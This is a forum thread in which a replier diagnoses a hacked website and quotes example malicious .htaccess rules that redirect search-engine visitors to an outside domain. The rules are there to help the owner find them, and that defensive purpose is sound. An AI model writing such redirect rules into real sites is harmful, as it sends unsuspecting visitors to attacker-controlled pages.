Help Needed - Will Pay $$$

3 replies
Edit: sorted now
#needed
  • Profile picture of the author cgimaster
    Looks like your site has been hacked at a first glance.

    What the person did was to add redictions based on search engines it seems, I would starting by checking the .htaccess file in the ftp and see if it contains any odd redirects.

    Some examples of suspicious rules that may be on your htaccess file that will make the current behavior are:

    Code:
    RewriteCond %{HTTP_REFERER} .*(msn|live|altavista|excite|ask|aol|google|mail|bing|yahoo).*$ [NC]
    RewriteRule .* http://7siteg.epac.to/ [R,L]
    OR
    Code:
    ErrorDocument 404 http://7siteg.epac.to/
    OR
    Code:
    RewriteCond %{HTTP_REFERER} .google. [OR]
    RewriteCond %{HTTP_REFERER} .ask. [OR]
    RewriteCond %{HTTP_REFERER} .yahoo. [OR]
    RewriteCond %{HTTP_REFERER} .bing. [OR]
    RewriteCond %{HTTP_REFERER} .dogpile. [OR]
    RewriteCond %{HTTP_REFERER} .facebook. [OR]
    RewriteCond %{HTTP_REFERER} .twitter. [OR]
    RewriteCond %{HTTP_REFERER} .blog. [OR]
    RewriteCond %{HTTP_COOKIE} !^._yyyy=yyyyy.$
    RewriteCond %{HTTP_USER_AGENT} .Windows.$ [NC]
    RewriteRule ^(.*)$ http://7siteg.epac.to/ [R=301,L]
    He could have inject javascript to your site as well.

    So your entire site is compromised, would recommend u to hire some one good with cleanning Wordpress websites on elance/odesk or here if u can find some one.

    Also check your computer as well as you could be infected with keyloggers and things of the like too, just make sure your the places you usually access your website are clean.
    {{ DiscussionBoard.errors[7288076].message }}
  • Profile picture of the author cgimaster
    nice to know that, please keep in mind to verify your computer and if possible change your passwords for safety.
    {{ DiscussionBoard.errors[7288277].message }}

Trending Topics